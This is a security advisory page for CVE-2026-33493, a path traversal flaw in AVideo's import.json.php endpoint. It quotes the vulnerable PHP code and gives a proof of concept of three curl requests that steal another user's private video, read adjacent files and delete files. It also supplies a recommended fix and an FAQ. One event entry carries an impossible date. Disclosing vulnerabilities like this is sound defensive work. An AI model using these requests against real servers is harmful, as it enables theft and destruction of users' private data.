CVE-2026-33493: AVideo has a Path Traversal in import.json.php that Allows Private Video Theft and Arbitrary File Read/Deletion via fileURI Parameter

Published Mar 20, 2026
·
Updated

Summary

The objects/import.json.php endpoint accepts a user-controlled fileURI POST parameter with only a regex check that the value ends in .mp4. Unlike objects/listFiles.json.php, which was hardened with a realpath() + directory prefix check to restrict paths to the videos/ directory, import.json.php performs no directory restriction. This allows an authenticated user with upload permission to: (1) steal any other user's private video files by importing them into their own account, (2) read .txt/.html/.htm files adjacent to any .mp4 file on the filesystem, and (3) delete .mp4 and adjacent text files if writable by the web server process.

Details

Missing path restriction in import.json.php

At objects/import.json.php:12, the only validation on the user-supplied fileURI is a regex ensuring it ends with .mp4:

php // objects/import.json.php:12 if (!pregmatch("/.\\.mp4$/i", $POST['fileURI'])) { return false; }

Compare this to the hardened listFiles.json.php:16-28, which was patched to restrict paths:

php // objects/listFiles.json.php:16-28 $allowedBase = realpath($global['systemRootPath'] . 'videos'); // ... $resolvedPath = realpath($POST['path']); if ($resolvedPath === false || strpos($resolvedPath . '/', $allowedBase) !== 0) { httpresponsecode(403); echo jsonencode(['error' => 'Path not allowed']); exit; }

The same fix was never applied to import.json.php.

Attack Primitive 1: File content disclosure (.txt/.html/.htm)

At lines 23-43, the endpoint strips the .mp4 extension from fileURI and attempts to read adjacent .txt, .html, or .htm files via filegetcontents():

php // objects/import.json.php:23-43 $filename = $obj->fileURI['dirname'] . DIRECTORYSEPARATOR . $obj->fileURI['filename']; $extensions = ['txt', 'html', 'htm']; foreach ($extensions as $value) { if (fileexists("{$filename}.{$value}")) { $html = filegetcontents("{$filename}.{$value}"); $POST['description'] = $html; // ... break; } }

The content flows into $POST['description'], which is then saved as the video description by upload.php:59-64:

php // view/mini-upload-form/upload.php:59-64 if (!empty($POST['description'])) { // ... $video->setDescription($POST['description']); }

The attacker then views the imported video to read the file contents in the description field. This works for any path where both a .mp4 file and an adjacent .txt/.html/.htm file exist — which is the standard layout for every video in the videos/ directory.

Attack Primitive 2: Private video theft

At line 49, the endpoint copies the .mp4 file to a temp directory and then imports it as the current user's video:

php // objects/import.json.php:47-49 $source = $obj->fileURI['dirname'] . DIRECTORYSEPARATOR . $obj->fileURI['basename']; if (!copy($source, $tmpFileName)) { // ... }

An attacker who knows or can enumerate another user's video filename can copy any private .mp4 file into their own account.

Attack Primitive 3: File deletion

At lines 54-65, when $POST['delete'] is set, the endpoint deletes the source .mp4 and adjacent text files:

php // objects/import.json.php:54-61 if (!empty($POST['delete']) && $POST['delete'] !== 'false') { if (iswritable($source)) { unlink($source); foreach ($extensions as $value) { if (fileexists("{$filename}.{$value}")) { unlink("{$filename}.{$value}"); } } } }

PoC

Step 1: Steal a private video

Assuming the attacker knows another user's video filename (e.g., victimvideoabc123), which can be enumerated via the platform UI or API:

bash curl -b 'PHPSESSID=<authenticatedsessionwithuploadperm>' \ -X POST 'https://target/objects/import.json.php' \ -d 'fileURI=/var/www/html/AVideo/videos/victimvideoabc123/victimvideoabc123.mp4'

Expected result: The response returns {"error":false, "videosid": <newid>, ...}. The victim's private .mp4 is now imported as the attacker's own video at the returned videosid.

Step 2: Read another user's video description file

bash curl -b 'PHPSESSID=<authenticatedsessionwithuploadperm>' \ -X POST 'https://target/objects/import.json.php' \ -d 'fileURI=/var/www/html/AVideo/videos/victimvideoabc123/victimvideoabc123.mp4&length=100'

Expected result: If victimvideoabc123.txt (or .html/.htm) exists alongside the .mp4, its contents are stored as the description of the newly created video. The attacker views the video page to read the exfiltrated content.

Step 3: Delete another user's video

bash curl -b 'PHPSESSID=<authenticatedsessionwithuploadperm>' \ -X POST 'https://target/objects/import.json.php' \ -d 'fileURI=/var/www/html/AVideo/videos/victimvideoabc123/victimvideoabc123.mp4&delete=true'

Expected result: The victim's .mp4 file and any adjacent .txt/.html/.htm files are deleted (if writable by the web server process).

Impact

- Private video theft: Any authenticated user with upload permission can import another user's private videos into their own account, bypassing all access controls. This directly compromises video content confidentiality. - File content disclosure: .txt, .html, and .htm files adjacent to any .mp4 on the filesystem can be read by the attacker. Within the AVideo videos/ directory, these are video description files that may contain private information. - File deletion: An attacker can delete other users' video files and metadata, causing data loss. - Blast radius: All private videos on the instance are accessible to any user with upload permission. In default AVideo configurations, registered users can upload.

Recommended Fix

Apply the same realpath() + directory prefix check from listFiles.json.php to import.json.php, immediately after the .mp4 regex check:

php // objects/import.json.php — add after line 14 (the pregmatch check) $allowedBase = realpath($global['systemRootPath'] . 'videos'); if ($allowedBase === false) { die(jsonencode(['error' => 'Configuration error'])); } $allowedBase .= '/';

$resolvedDir = realpath(dirname($POST['fileURI'])); if ($resolvedDir === false || strpos($resolvedDir . '/', $allowedBase) !== 0) { httpresponsecode(403); die(jsonencode(['error' => 'Path not allowed'])); } // Reconstruct fileURI from resolved path to prevent symlink bypass $POST['fileURI'] = $resolvedDir . '/' . basename($POST['fileURI']);

Other sources

WWBN AVideo is an open source video platform. In versions up to and including 26.0, the objects/import.json.php endpoint accepts a user-controlled fileURI POST parameter with only a regex check that the value ends in .mp4. Unlike objects/listFiles.json.php, which was hardened with a realpath() + directory prefix check to restrict paths to the videos/ directory, import.json.php performs no directory restriction. This allows an authenticated user with upload permission to: (1) steal any other user's private video files by importing them into their own account, (2) read .txt/.html/.htm files adjacent to any .mp4 file on the filesystem, and (3) delete .mp4 and adjacent text files if writable by the web server process. Commit e110ff542acdd7e3b81bdd02b8402b9f6a61ad78 contains a patch.

MITRE

Affected Software

2 affected components
composer/wwbn/avideo<=26.0
WWBN AVideo<=26.0

Event History

Mar 20, 2026
Advisory Published
via GitHub·08:49 PM
Data Sourced
via GitHub·08:49 PM
DescriptionSeverityWeaknessAffected Software
Mar 23, 2026
CVE Published
via MITRE·03:52 PM
Data Sourced
via MITRE·03:52 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·04:16 PM
RemedyDescriptionSeverityWeaknessAffected Software
Dec 26, 58199
Event
via FIRST·09:38 AM

Frequently Asked Questions

1

What is the severity of CVE-2026-33493?

The severity of CVE-2026-33493 is high due to the potential for unauthorized access to private videos and system files.

2

How do I fix CVE-2026-33493?

To fix CVE-2026-33493, users should upgrade to a version of AVideo higher than 26.0 that addresses the path traversal vulnerabilities.

3

What software is affected by CVE-2026-33493?

CVE-2026-33493 affects AVideo versions up to and including 26.0 that utilize the objects/import.json.php endpoint.

4

What are the implications of CVE-2026-33493?

The implications of CVE-2026-33493 include the risk of private video theft and arbitrary file read or deletion on affected systems.

5

Is CVE-2026-33493 a code injection vulnerability?

No, CVE-2026-33493 is not a code injection vulnerability; it specifically involves path traversal attacks via user-controlled input.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203